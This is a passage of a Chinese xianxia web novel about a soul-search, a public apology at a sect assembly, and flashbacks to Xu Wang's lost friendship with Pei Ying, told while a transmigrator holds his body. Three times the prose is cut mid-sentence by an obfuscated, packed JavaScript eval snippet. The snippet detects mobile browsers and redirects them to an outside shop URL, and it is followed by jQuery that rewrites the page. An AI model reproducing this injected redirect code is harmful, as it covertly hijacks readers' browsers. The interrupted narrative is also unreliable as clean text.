若他永远无法夺回身体,那他就永远欠了他的。 半炷香的时间,许妄的心一直悬在半空,七上八下。 直到搜魂结束,裴映睁开眼睛,双目清明,许妄才放下心来。 清虚也长舒一口气。 裴映面色苍白,第一时间看向“许妄”:“该你了。” 苏沐白甚是失望,怎么就没出差错,把裴映变成白痴呢? 重光从座椅上起身,对“许妄”道:“来吧。“ 苏沐白盘腿而坐,闭上双眼。 他的灵魂被系统暂时抽离,传送回基站。 如今,身体里只剩系统和许妄。 许妄盘算着也许这是个夺回身体的机会。 可还没来得及采取任何行动,便感受到一股强大的气息进入识海,许妄立刻便动弹不得。 这是搜魂术的第一步,定魂。 重光的神识进入许妄的识海。 识海正中央,安静睡着“许妄”的神魂。 那神魂并非人形,而是一条盘踞着的黑蛟。 重光起了一丝兴味。 这名弟子竟是半人半妖之身。 他很少关注外界,此番倒是第一次见这名弟子。 他在许妄的识海中搜寻翻阅。 记忆是连续的,没有出现断裂或拼接的痕迹,完全没有被夺舍的迹象。 就在重光的一缕神识将要撤出之际,他看到许妄的神魂——那条黑蛟的尾巴闪了闪。 从来没见过的花纹一闪而过,看起来是一些圆圈和竖线编织在一起。 那是什么? 重光的一缕神魂复又回去,那花纹却消失不见。 他没再多想。 许妄是半人半妖之身,神魂与常人有异很正常。 何况那花纹也并非被夺舍的表现。 退一万步讲,即便这弟子被夺舍,在他眼皮子底下又能翻出什么风浪? 这样想着,重光撤掉结界。 苏沐白的魂魄在重光神识撤离的一瞬便回到许妄的身体中。 在场所有人都看向重光,等待着他开口。 清虚轻声催促:“师弟。” 裴映也看着重光。 重光对上裴映沉沉的目光,并不提那异样的花纹,只轻描淡写道:“没被夺舍。” 话音落下,殿内安静得落针可闻。 裴映脸上出现一瞬间空白。 他垂下眼,不知在想些什么。 清虚很担心裴映,但事情至此尘埃落定,事实证明是裴映错了,在这件事里,受委屈最多的当是许妄。 所幸裴映和许妄都平安度过搜魂,没出任何闪失。 清虚作为掌门和二人共同的师父,哪怕心里再偏心,面上也不好表露出来。 他只能暂时不管裴映,对大弟子玄明子道:“快帮你许妄师弟松绑,带他到丹霞阁去,拿几瓶丹药好好补一补。” 被玄明子搀扶着的苏沐白,惨白着一张脸,虚弱地说:“师兄,别忘了你的道歉。” - 苏沐白被大师兄玄明子和二师兄断弦护送回到住所。 他气息虚弱,仍不忘向两位师兄道谢。 玄明子和断弦对视一眼。 许妄确实转变很大,但,这不是好的转变吗? 裴映怎么就不懂用发展的眼光看待师弟? 如果许妄一直这般开朗好相处,他们也不会因为他身上流着妖血就疏远他的嘛。 玄明子和断弦都觉得今日裴映着实过分,柔声安慰了苏沐白一番,又叮嘱他服下丹药后好生修养,切莫劳累,这才离开。 这是以往许妄从没有享受过的待遇。 系统告知苏沐白,他的声望值上涨二十点。 苏沐白得意,即使许妄人缘再差,只要他一出手,立即就有所好转。 许妄的坏名声,果然还是要靠他的人格魅力来拯救。 这样修养了几日。 清虚忽然传信要见“许妄”。 苏沐白不知何事,兴许是要召开宗门大会,让裴映当众向他道歉了? 思及此,苏沐白兴冲冲地整理形象。 几日修养,加上丹药进补,当日搜魂带来的影响散去,身体恢复如初,不过于人前还是不能显得气色太好。 苏沐白故意将唇色弄得苍白些。 识海中的许妄露出嫌恶的表情,对他这些行为已经无力评判。 - 苏沐白来到清虚的住所,太一殿。 进入大殿内,意外看到另一人的身影。 苏沐白半跪在地上行礼:“弟子拜见师父,拜见重光仙尊。” 清虚和蔼道:“快快起来,身体可好些了?” “都好了,多谢师父关心。” 他嘴上这样说,面上却仍是苍白,声音也显得有气无力,清虚果然关切道:“好了,别站着,赶紧坐下。” 苏沐白找把椅子坐了,问:“师父今日叫弟子来,是……“ “有件事想问问你的意思,”清虚说,“重光仙尊想亲自教导你,不知你意下如何?” 苏沐白心中大喜过望,面上却流露出犹疑:“可弟子已经有了师父,恐怕……” 重光懒洋洋地开口:“名义上你还是我师兄的徒弟,无需改换师门,我也不在意那些虚名。 只是觉得师兄弟子太多,想帮他分担一二,若是你不愿意就算了。” 清虚捻着胡须道:“许妄啊,你体质特殊,我在这方面钻研不深,确实不知该怎么因材施教。重光师弟名下没有徒弟,可以专心教导你一人,你好好考虑考虑。” 这还有什么需要考虑的? 重光此举根本正中苏沐白下怀,他正愁没借口接近重光呢,正所谓瞌睡了有人递枕头。 当然也不好表现得太过急切,于是苏沐白低下头装作思量一番,才对清虚和重光道:“弟子愿意,多谢师父,多谢重光仙尊。” 重光并不意外,漫不经心道:“不必叫仙尊,以后就叫我师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478856|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔吧。” 苏沐白抬起头,感激又不好意思地看了一眼重光,故作紧张地低下头去,很小声地叫了一声:“师叔。” 识海中的许妄:恶心。 这个姓苏的属癞□□,不咬人膈应人。 系统“滴”一声:“恭喜宿主,重光对你的好感值上升至百分之60。” 苏沐白喜不自胜。 重光仙尊还是很好攻略的,至少比起那个顽固不化的裴映是好多了。 - 云隐去裴映的碧竹苑找他。 裴映冤枉许妄夺舍之事不仅在青云宗传得沸沸扬扬,甚至整个修真界都在议论。 此事让众人对裴映的人品产生一些怀疑,所有人都觉得裴映欠许妄一个道歉。 当然,大部分人对裴映和许妄的了解都只停留在表面,只是抱着看热闹的心态。 明日便是宗门大会,裴映作为当事者,必须出现。 然而云隐来找他好几次,都没找到人,不知道跑哪里去了。 事实上这几日裴映都不见人,云隐和清虚都很担心。 夜深时分,云隐再次来到碧竹苑,终于看到人影。 等看清倒在地上的人时,他大惊失色。 只见裴映倒在地上,气息衰弱,衣衫褴褛,浑身都是血淋淋的口子。 “你是怎么把自己搞成这副样子的?!”云隐一边将裴映扶到榻上一边质问。 裴映说:“黄泉。” 云隐怔了一下,大骂:“你不要命了!你去那干什么?!” 黄泉是灵魂往生之所,是生灵终末的归宿。那里充斥着因果业力,亡魂哀嚎,修士落入其中,会灵力流失,经脉滞涩,不仅肉身受到重创,一个不慎还会元神受损,心神崩溃。 那就不是活人该去的地方。 肉体凡胎去了,不死也掉层皮。 裴映这一去,起码五年的修为没了。 裴映没有回答云隐的问题,艰难地坐起来,从储物簪中取出招魂灯交给云隐,让他帮忙还至宝库中。 随后便打坐疗伤。 云隐在一旁为他护法,裴映没有回答他的问题,但一见招魂灯,他就知道答案了。 裴映还是不甘心。 不愿意承认自己错了。 近来外界都在议论,说裴映嫉妒许妄进益飞快,害怕许妄会超过他,这才出此下策,想要除掉许妄这个后起之秀。 且不说这样的方式有多么愚蠢和离谱,关键是,云隐很清楚,裴映根本不是那样的人。 他比裴映进门晚,却年长裴映几岁,他和裴映不以师兄弟相称,只互相叫老三和老五。 同门之中,他们二人年龄相仿,走得最近。 云隐了解裴映,裴映很无私,不论对谁。 甚至他还记得,许妄还在外门时,裴映给过他不少帮助。 要说裴映会嫉妒许妄,那简直是笑话。 不过云隐也不太能理解裴映为何在这件事上如此固执,固执得简直魔怔了似的。 许妄和谁都不亲近,裴映就这般笃定自己那么了解他吗? 仅凭性格和习惯转变就能断定此许妄非彼许妄? 这修真界中,被重光仙尊搜魂,还能瞒天过海的人,根本不存在。 裴映疗伤完毕,伤口尽数愈合,但脸色苍白,状态大不如前。 云隐忧心忡忡:“师父让我告诉你,明日召开宗门大会,你……你得兑现承诺了。你搞成现在这样,能行吗?我去和师父说说,要不改日吧。” 裴映道:“不必了,我会去的。” “好吧。”云隐还是忍不住问,“你拿了招魂灯,找到了吗?” 裴映摇头。 他带着招魂灯去黄泉,接连几日,没有找到许妄。 于是心底便升起一丝渺茫的希望。 说不定许妄还活着。 毁去肉身或许容易。 可万一呢? 万一许妄的魂魄还在,他就不能贸然杀了那个邪祟,否则许妄也没法活。 一定还有办法。 一定还会有其他办法的。 …… 云隐不知裴映所想,只觉得既然没找到许妄的灵魂,那不更说明许妄还活着,没被夺舍吗? 他忍不住劝说:“老三,明天宗门大会之后,这件事就让它过去吧。就算有万分之一的可能,许妄被夺舍,可你也已经尽力了,该做的都做了,你何必把自己也搭进去呢?再这样继续下去,你的修为都散光了,更是什么也做不了。” 裴映疲惫地躺着,只轻轻“嗯”了一声。 云隐叹口气,不知道裴映到底有没有听进去他的话。 5. 第 5 章 这一日,便是举行宗门大会的日子,问道台上人头攒动。 青云宗长老、真传弟子、内门弟子、外门弟子,以及杂役弟子等共一万余人,尽数在此。 台下弟子们交头接耳地议论,对接下来的好戏摩拳擦掌。 众人都听闻裴映和许妄之间的矛盾,每个人心里都各有猜测。 有人相信裴映,觉得他只是一时看走眼,搞错了,以裴映的品性,不可能做出残害同门之事。 更何况,裴映自己也接受搜魂,这可不是闹着玩的。 有人则认为裴映公报私仇,裴映和许妄过往针锋相对,宗门皆知,想来这是实在看不顺眼,不想再忍,才出此下策,想要除掉许妄。可惜计谋没能得逞。 还有少数入门时间久的弟子,依稀记得裴映和许妄曾经关系并不似这般紧张,猜测他们也许因何事结了仇。 …… 众人一边议论一边猜测,等一下裴映向许妄道歉,两个人会不会在大庭广众下拳脚相向? 真是好生令人期待。 就在一万人的翘首盼望之中,清虚走上高台,缓缓开口:“今日大典,首要之事,便是由本座为大家梳理过去一年,宗门上下诸般庶务之得失。” 随后,他对过去一段时间宗门的事务做出总结,对未来的发展提出展望,对表现极佳的弟子表示赞赏,对不守门规的弟子严厉批判。 清虚的话无趣冗长,令人昏昏欲睡,弟子们心想,怎么还不进入正题? 苏沐白等在一旁,心里暗骂,臭老头,这是给他亲亲徒弟拖延时间呢。 以为把大家都催眠了,他的好徒儿就没那么丢脸了? 真是打得一手好算盘。 不过清虚的话再多,也总有讲完的一刻。 裴映慢慢走上白玉台,和“许妄”相对而立。 苏沐白没有说话,只等裴映开口。 人群一片寂静,万众瞩目之中,裴映平静的声音传遍整个问道台,传入每个人的耳中。 “今日,我裴映郑重致歉,此前是我心有迷障,只因师弟性情转变就妄加揣测,以为师弟被邪祟占据肉身。日后,我自当谨言慎行,请诸位为裴映做个见证。” 苏沐白微微一笑,大度道:“既然你道歉了,我也就原谅你了。毕竟师兄担心我被人夺舍,出发点是好的。” 话音落下,徐长老适时开口:“宗门大会到此结束,请诸位有序离席。” 弟子们面面相觑。 就结束了? 还以为会打起来呢,真是没劲。 原以为的一场好戏就这么轻飘飘落幕,不少弟子失望离席。 真没意思,苏沐白也意兴阑珊,转身欲走。 裴映忽然叫住他,用只有他们两人能听到的声音。 “许妄。” 苏沐白回过头。 裴映望着他,目光却穿透他看向虚空,看向别的什么人。 “许妄,不要怕。” 裴映轻声道,“我会想办法救你。” 识海深处,许妄睁大了眼睛。 他看到裴映的眼神,坚定温和,像是真的在与他对视。 是在对他说吗? 裴映知道吗? 知道他还在身体里吗? 灵体明明没有心脏,许妄却感到自己的心在砰砰直跳。 “听不懂你在说什么,”苏沐白皱眉,“我就是许妄。” 苏沐白止不住在心里冷笑。 冥顽不灵。 以为许妄还活着?那裴映可真的要失望了。 要是裴映知道许妄的神魂已经灰飞烟灭,不知道脸上的表情会多精彩。 可惜,此刻周围这么多人看着,他不方便说出真相。 真是遗憾。 裴映没再说话,冷冷看了一眼苏沐白,在众人的探究目光中径自离去。 苏沐白有点怕了裴映这个疯子,担心他之后再对自己不利。 而且裴映和许妄的关系,也实在令人怀疑。 系统说他们水火不容,可裴映为证明许妄被夺舍自己也吃了不少苦头,事到如今还不肯放弃,这怎么都不像对待死对头的态度。 苏沐白恨恨地对系统道:“裴映和许妄之间肯定没那么简单,该不会表面宿敌,背地里是情人吧?” 识海中的许妄正沉浸在裴映那句话中无法回神,听到苏沐白这句话,顿时像是被雷劈了一般,石化了。 他被雷得外焦里嫩,差点一口血喷出来。 这个姓苏的脑子里装的是浆糊吗? 两个男修怎么能扯到情人上去?难以想象。 不过,虽不是姓苏的想的那种离奇关系,他和裴映在很久之前,关系的确没有那么僵。 甚至,许妄曾经以为,裴映是他唯一的朋友。 这些日子躲在识海中,无事可做,许妄总是会想起当年的事。 - 许妄认识裴映,比裴映认识他更早。 那年他在牧牛镇讨生活,牧牛镇上有魔作祟伤人,青云宗派弟子下山除魔。 许妄也去看热闹。 他十五岁时,能够隐藏起身上的妖气,才敢光明正大地出现在人群中。 他第一眼就看到裴映。 即便后来讨厌裴映了,许妄也得承认,裴映姿容出众,气质卓绝,在人群中很难不被注意。 这是许妄第一次见到裴映,也是裴映在问心阵上所提问题的答案。 看到那几名青云宗弟子时,许妄连手里的肉包子都忘记吃了,他嘴巴张着,呆呆地望着那几个像是和他并非同一世界的人。 他们的衣服好干净。 他们手上的剑好厉害。 他们还会法术。 …… 惊鸿一瞥,心向往之。 当然,在许妄自己成为青云宗弟子后,便明白那些人也不过凡夫俗子,没什么不同。 不过那都是后话,当时的许妄只一个念头。 世界上竟有这样的人,像神仙一样。 许妄是半妖之身,自己误打误撞学会一些法术,但未经引导,不成体系。 那之后的三年里,许妄四处搜寻有关修炼的书籍秘法,被骗了许多辛苦钱,走了不少弯路,好在磕磕绊绊地开始炼气,又幸运地被选中,成为青云宗外门弟子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478857|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他远远地见过裴映几回,认出裴映就是三年前那个“神仙”。 许妄内心有些激动,充满希望。 他觉得自己距离向往的生活又进一步。 然而现实很快打了他一个响亮的耳光。 “人不人妖不妖的怪物。” 他的同门这样说他。 - 那个名叫严景朝的弟子,是外门弟子中的佼佼者,出身于修真世家,一呼百应。 他不知从何得知许妄的半妖身份,开始带着一伙弟子一起孤立许妄。 他们抢走许妄的份例,弄脏他的床榻,毁掉他的武器…… 这些许妄都忍了。 他很能忍。 他从小就是这么过来的,这些算不了什么。 可在严景朝骂他是杂种,骂他母亲是不知羞耻勾引人类的妖物时,许妄无法再忍。 他冲上去打了严景朝一拳,狠狠发泄他的愤怒。 可他实力不及严景朝,何况对方又人多势众,最终只有被动挨打的份。 许妄又开始挨打了。 不过没关系,他很习惯挨打。 严景朝他们也顾及着弟子戒律,不敢把许妄打得太狠。 …… 许妄终于认清,青云宗并非他想象中的世外桃源,这里同样充满偏见,诋毁,孤立。像他这样的身份,无论在哪里,都不可能被人接纳。 从那之后他更加努力修炼,想着进入内门,拜了师,至少不会有这些惹人厌的苍蝇围在身边。 许妄境界提升后,就不再是单方面挨打,有时也会打伤严景朝,严景朝被惹怒,开始变本加厉。 一日,严景朝向执事长老告状,说他严家的宝物,七情琉璃果丢了。 长老派人搜查,那七色的果实就明晃晃摆在许妄的柜子里。 还有几名弟子帮腔,说看到许妄鬼鬼祟祟地出现在严景朝房间附近。 人证物证俱在,许妄不善言辞,只会苍白地重复“不是我,我没有”。 长老很轻易地相信那些证词,因为他对许妄本就不喜。 很少有人能不带偏见地对待许妄。 人对妖的嫌恶和提防根深蒂固,谁都知道“非我族类,其心必异”的道理。 半人半妖的许妄,身上流淌着一半妖血,自然带着妖族的狡诈和残忍。 在严景朝幸灾乐祸的目光中,许妄就要被定罪。 一旦二十鞭雷鞭下去,这几年来勤勤恳恳得来的修为就没了,最近一次的宗门大选无权参加,进入内门遥遥无期。 许妄抿紧嘴角,手在发抖,他不甘心。 他很幼稚地想,真想和这个世界同归于尽。 就在这时,裴映出现了。 和几年前许妄初见他时一样,长身玉立,白衣胜雪,超凡脱俗。 如同从天而降的神仙一般。 许妄像是见到救命稻草,向裴映投去求助的目光。 “我没有偷。”他说。 这是他对裴映说的第一句话,在他最狼狈的时候。 裴映看着许妄,目光里带着安抚,他向执事长老道:“此事还需再查。” 6. 第 6 章 裴映并不是口头说说而已,是真的严查此事。他一向公平公正,不畏严家的强权,一切按照门规严格执行。 严景朝他们没想到事情会这样发展,他们也不过筑基境弟子,做事总会留下痕迹,尤其在裴映这样的金丹高手面前,那些痕迹无所遁形。 这件事的结果超乎许妄所料。 裴映说陷害同门,罪加一等,鞭刑翻倍。 最终严景朝挨了四十鞭,其余帮凶二十鞭,并剥夺最近一次内门选拔的资格。 - 许妄想和世界同归于尽的想法烟消云散,忽然觉得世界变得美好了起来。他很感激裴映,不知如何报答。 以他的能力帮不上裴映什么忙,只能把他所能得到的最好的药材和珍宝送给裴映,聊表感谢。 可是裴映说,许妄太客气了,那只是他分内之事,不必放在心上。 不过他还说,许妄送的东西他刚好急需,就收下了,作为回报,他可以帮许妄指点一二。 裴映帮许妄重新挑选了筑基心法,选了一把适合他的剑。 许妄受宠若惊,倍感惶恐。 不敢相信有人愿意靠近他,害怕这只是一场美梦。 他没日没夜修炼,丝毫不敢懈怠,唯恐辜负裴映的好意。 许妄资质好,又格外努力,他体质特殊,原本外门教授的心法和功法只适合人类修士,完全无法发挥出他的天赋。 更换心法之后,修炼的速度一日千里。 …… 这是第一次有人不介意许妄的身份,向他释放这么大的善意。 许妄一向封闭自己,不知如何与人交往,但开始尝试着主动去找裴映请教修炼中的难题。 因为他能感觉到裴映不嫌他麻烦,反而很高兴帮他解惑。 他仍然很笨拙,总是不知所措,但渐渐不再那么惶恐了,因为裴映就是这样好的一个人,轻易就让人感到安心。 那段时间,他们相处得很好。 不知道裴映怎么想,总之,许妄自己是这么认为的。 他听闻裴映喜欢吃枇杷,便扛着枇杷树苗,种在裴映的院前,裴映表现得很开心。 许妄带裴映去看他喂的猫,裴映带着许妄去和云隐一起喝酒聊天…… 许妄在这个世界上第一次有了在乎的人,小心翼翼地维护着自己在裴映心中的形象,不论严景朝那群败类怎么挑衅,他都忍着不动手。 因为裴映看他的目光,总是温和包容,许妄害怕在裴映的眼中看到失望或是嫌恶。 可惜总是事与愿违。 严景朝挨了刑罚,虽然收敛许多,但也因此对许妄和裴映怀恨在心。 他对那群拥趸说:“裴映看着像个人似的,却总是和妖物混在一起,真是宗门的叛徒。” 许妄听了这话,脑子还没反应过来,拳头先上去了。 那时严景朝实力已远不及许妄,被许妄打得鼻青脸肿。 严家兴师动众,要找许妄讨个说法,最终却不了了之。 许妄知道是裴映替他挡在中间。 裴映一定受了不少委屈。 许妄觉得自己很没用,只会惹事。 他对裴映小声说:“对不起。” 裴映笑了:“我知道你是为了维护我,我才应该对你说谢谢。” 许妄没想到裴映竟然知晓缘由,耳根发烫,有点难为情。 他说:“但我给你惹麻烦了。” “这有什么,”裴映理所当然道,“朋友之间互相帮忙,谈何麻烦?你又没错,若是他骂你,我也会教训他。” 许妄怔怔地看着裴映。 他回想起来,觉得自己当时的表情一定很傻。 可他真的没想到,裴映会把他当朋友。 他知道裴映人缘好,有很多朋友。 但他却仅此一个。 那时候,他觉得裴映很好很好,是天底下最好的人。 - 内门选拔前不久,裴映晋升元婴,在整个修真界引起轰动。 通常情况,百岁能晋升元婴,已经算极有天赋。哪怕当时最强的重光仙尊,也是五十多岁才突破元婴。 而裴映那年只有二十四岁。 是绝无仅有的天才。 许妄也高兴。 一方面他为裴映高兴,另一方面,他有自己的私心。 元婴境之上,就可以收徒。 若是他能做裴映的徒弟……许妄不敢想那会有多开心。 他去找裴映,表达了恭喜,然后鼓起勇气旁敲侧击:“我听闻,突破元婴境就可以招收弟子,你……” 他停顿一下,紧张得话都说不利索。 裴映闻言便笑着问:“你这样问,是想选我做你的师父吗?” 许妄惊了一下,没想到裴映这么直接,只得不好意思地点头。 裴映认真道:“若是你选我,我会很荣幸。看来我也要更努力才行。” 一瞬间,许妄心里像是开满了花。 他更加刻苦修炼,想要在内门选拔中好好表现,不给裴映丢脸。 - 内门选拔以对战的形式进行,许妄在对战中屡屡获胜,一切都顺利得不可思议。 除去一个插曲。 这批内门选拔中的佼佼者,要下山执行任务。 从前种种历练都只在青云宗内,这是他们第一次直面真实的高阶凶兽。 灵焰兽袭击了一个村庄,许妄和另外两名同门杀死凶兽,帮助村民尽数转移。 这种灵焰兽在死后会化作滔天烈火,村子会被燃成灰烬。 几人要撤离时,许妄发现烈火中还有一个小乞丐。 同伴劝许妄不要去,因为太过危险,他自己也有可能会死在火中。 但许妄还是冲了进去。 村民都是活生生的人,每一个都不应该被放弃。 过程虽艰难,结局是好的,许妄将小乞丐救了出来。 小乞丐跟着他走了很远,许妄问:“你饿了吗?哥哥买包子给你吃。” 他们聊天,不知怎么聊起许妄的小时候。 许妄说:“我小时候也很惨,常常挨打。” 小孩仰着一张花脸问:“为什么会挨打?” 许妄低声说:“因为我偷包子了。” 这并不光彩,但他看着小孩干净的眼睛,不想对他说谎。 许妄告诫:“偷东西不好,所以我会挨打,你千万不要学。” 随后,他看到小乞丐眨了眨眼,五官变幻,身形变高,变成他崇敬的,未来师父的模样。 裴映抱歉道:“其实这也是内门选拔的一项考验,我只是想多同你聊一会儿,不是故意想打探你的隐私。” 许妄自然不会怪裴映。 但他说不出话来,内心沮丧又慌张。 他以前偷过东西,裴映会对他失望吗? 会不会认为他品行很差,因此不想收他做徒弟了? 裴映像是看出他在想什么,安慰他道:“你还那么小,能有什么办法,放心,我不会因为这个就看低你。” 许妄抿着唇,简单地“嗯”一声作为回应。 他觉得自己的心像是被什么东西轻柔地拂过。 很多不愿记起的陈年往事,也因此变得不那么可憎。 许妄在裴映面前已经不复之前的惶恐,裴映对他总是这么宽和,他甚至有种错觉,好像不论他做什么,裴映都会无条件相信他,支持他,永远也不会误解他,远离他。 他更加期待拜师典礼。 裴映对同门、外门弟子、哪怕杂役弟子都很好,他有很多朋友,许妄只是其中之一。 可拜师典礼之后就不一样了。 许妄会成为裴映的徒弟。 那样许妄对裴映来说,就不再是朋友之一,而是很特别的人了吧? - 拜师典礼之前,又发生一件事。 一处秘境开启,许妄想进去寻找秘宝,他想做一件法器,当作拜师礼送给裴映。 裴映听闻那秘境凶险,提出同他一起进去。 那秘境果然凶险。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478858|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其中有一处洞窟,是一名合欢宗弟子留下的,还是一名男修。 洞窟内弥漫着诡异的气味,墙上满是不堪入目的图画,令人心思烦乱。 那天晚上,裴映在打坐,许妄偷偷离开。 当夜正是月圆之夜,白日里看到的场景成为诱因,激发许妄作为妖的求偶本能。 他身上很热,泡在湖里降温,鳞片不受控制地生长出来,从左侧胸口蔓延至左脸。 不幸的是,被裴映看到了。 许妄不甚清晰的记忆里,好像看到裴映眼中一闪而过的错愕。 他一紧张,变成蛟形潜入水底。 第二日,他们离开秘境,裴映对前一晚的事只字未提,当时许妄还很庆幸。 后来他反复回想,就是那次出秘境之后,裴映忙了起来,他们没再单独见面。 再见面时,裴映对他说:“抱歉,我不能做你师父了。” 许妄如坠冰窖。 他好不容易找回声音,问为什么。 裴映道:“掌门认为我如今还是应潜心修炼,不适合收徒。” 许妄略微松了口气。 他就知道裴映一定是有苦衷的。 裴映又道:“我和师父说好了,他愿意收你为弟子。” 许妄扯着嘴角笑了笑。 他难掩失望,但不停安慰自己,裴映也要修炼,确实没时间总是指点他,他不能耽误裴映。 拜入清虚掌门门下,他和裴映还是师兄弟,这样也很好。 许妄就这样成为众人艳羡的、清虚掌门亲传弟子,可他自己却心不在焉,连拜师典礼的过程都记不太清。 只记得那日他叫了裴映一声“师兄”。 也是唯一一次。 - 进入内门之后,许妄只在师门集会时见到裴映。 他去找过几次,每次裴映都在闭关。 许妄心下失落,但他不愿意去想那种可能,他觉得裴映不是那样的人。 何况裴映早就知道他的身世。 直到一日,许妄听到两名杂役弟子在闲聊。 “我听到掌门和徐长老聊天,掌门可嫌弃他的新弟子。” “不会吧,嫌弃干嘛还收啊?” “掌门就这么说的,‘裴映这小子,自己不想收就塞给我,他不想收个妖当徒弟,难道我就想吗?’” 许妄便彻底明白了。 原来真的是这样。 一定是他变成妖形的样子太过丑恶,让裴映终于看清他的本来面目。 他早该明白的。 他不该抱有幻想,幻想会有人接纳他,在意他,不嫌恶他。 他又变成孤身一人。 既然裴映讨厌他,那他也讨厌裴映。 其实许妄心里清楚,他没资格恨裴映。 裴映什么都没做错,他只是和其他人一样罢了。 裴映也不欠他什么,反而帮了他那么多。 可是,他只能讨厌裴映。 不然他的心就太痛了。 得到过再失去,比从来没有得到过还要难以忍受。 …… 一旦踏上修炼之路,时间便过得飞快,十年倏然而过。 这些居然已经是十年前的事。 可那些细节,许妄都还记得清清楚楚。 从前他被诬陷偷窃,只有裴映相信他,还他清白,如今他被夺舍,还是只有裴映一个人看出“他”不是他。 许妄缩在识海的角落,心里五味杂陈。 他很想问裴映,不是讨厌他吗? 为什么要为他做这么多? 之前他也觉得是像系统说的那样,裴映只是无法容忍夺舍这样的恶行。 但他现在不这么想了。 许妄觉得可能有哪里出了差错,裴映也许…… 也许不是厌恶他。 可为什么答应做他师父之后又反悔,为什么对他避而不见? 许妄真的很想知道为什么。 可惜,他大概永远没有机会知道了。 7. 第 7 章 那日宗门大会,裴映向“许妄”道歉后,便销声匿迹。 从前,裴映负责管理宗门内各项事务,宗门大会后,他将手上的事情都交给云隐,自己则不见踪影。 苏沐白害怕裴映再找他麻烦,时不时暗中打探裴映的行踪,得知他不知所踪,放下心来,巴不得裴映死在外面,永远别再回青云宗。 许妄得知这个消息也稍感安心。 他是真的不希望裴映再为他的事情而白白浪费自己的时间。何况,没有人会相信裴映,做什么都是徒劳。 裴映本该像从前那样,潜心修炼,降妖除魔,做人人爱戴的少侠。 唯一的威胁暂时解除,苏沐白可以安心攻略重光仙尊。 重光仙尊热衷闭关,神龙见首不见尾,要见他一面也不容易。 他只偶尔召见“许妄”。 重光倒还没忘记自己答应过指点“许妄”修炼。 他考察过“许妄”的实力,赞许地点点头:“不错。这心法不常见,谁给你选的?” 苏沐白按照系统的提示道:“是裴映。” 在重光面前,他不敢说谎,毕竟重光仙尊对他搜魂过,看过许妄的记忆。 重光淡淡地说:“很适合你。” 话音落下,系统“滴”一声:“宿主,重光仙尊对你的好感度下降百分之十,目前是百分之五十。” 苏沐白简直要吐血。 他干什么了?他不就说了个裴映的名字吗? 难不成……苏沐白略一思索,重光也讨厌裴映? 重光虽然眼下是修真界最强,可他已经几百岁,裴映还那么年轻,未来能够超越重光是显而易见的事。 到时候重光仙尊可就不是修真界至高无上的存在了。 嫉妒心嘛,人之常情,只是苏沐白没想到,活了这么久的清心寡欲的仙尊也会有这种见不得光的小心思。 “那是十几年前的事了,”苏沐白低着头道,“现在师兄恨不得要杀死我。” 重光不语,只是对苏沐白的好感度默默上升五个百分点。 苏沐白在心里骂裴映,好端端的,因为裴映,好感值反而下降。 重光又道:“你用的剑,拿出来看看。” 苏沐白取出无华剑。 重光拿在手中端详,面露嫌弃:“破铜烂铁。” 无华剑由天外陨铁与墨玉钢打造,通体灰黑色,外观极为低调,看上去虽平平无奇,但削铁如泥,是把难得的宝剑。 它当然不是破铜烂铁,不过,重光从许妄的记忆中知晓,这把剑是裴映送给许妄的。 碍眼。 重光走进殿中,将无华扔进丹炉,熔成一块灰黑色的、不成形的铁块,又从殿宇中出来,将铁块随手扔进池水中。 池水咕噜噜地冒着泡,直到铁块沉底。 识海中,许妄目眦欲裂。 他的无华剑…… 他真想杀了重光! 面对目瞪口呆的“许妄”,重光取出另一把宝剑,青白色,带有玉的光泽,在阳光下反射着温润的光。 “秋水剑,本尊送你的。” 苏沐白惊喜地接过:“好漂亮的剑,多谢师叔。” “嗯。”重光淡淡点头。 庭院里的灌木丛中袭窸窣窣,忽然窜出一只猫来,苏沐白吓得立刻闪开。 重光站在原地,目光探究。 “滴,”系统说,“重光仙尊对宿主好感值下降百分之十,目前好感值百分之四十五。” 苏沐白:“……” 系统对苏沐白道:“重光仙尊对原主搜魂过,知晓原主喜欢毛绒绒的小动物,宿主在重光仙尊面前要谨慎些。而且那天搜魂时,我不小心露出一点破绽,宿主还是不要违背原主的人设为好。” 苏沐白大惊:“你怎么不早说?” 系统道:“我以为重光没有察觉,现在看来,他应当是看到了。” 苏沐白抓狂。 这样一来,他无法按照自己的风格行事,之前的计划全部要推翻,只能模仿许妄过去的行为习惯。 许妄很喜欢毛绒绒的小动物,青云宗附近小镇上的流浪猫都是他喂的。 苏沐白却不喜欢猫,甚至有点害怕。 但眼下的情况,由不得他害怕。 苏沐白硬着头皮上前,蹲下身去摸摸小猫的脑袋:“你这小家伙,吓我一跳。肚子饿了吗,你阿娘呢?” 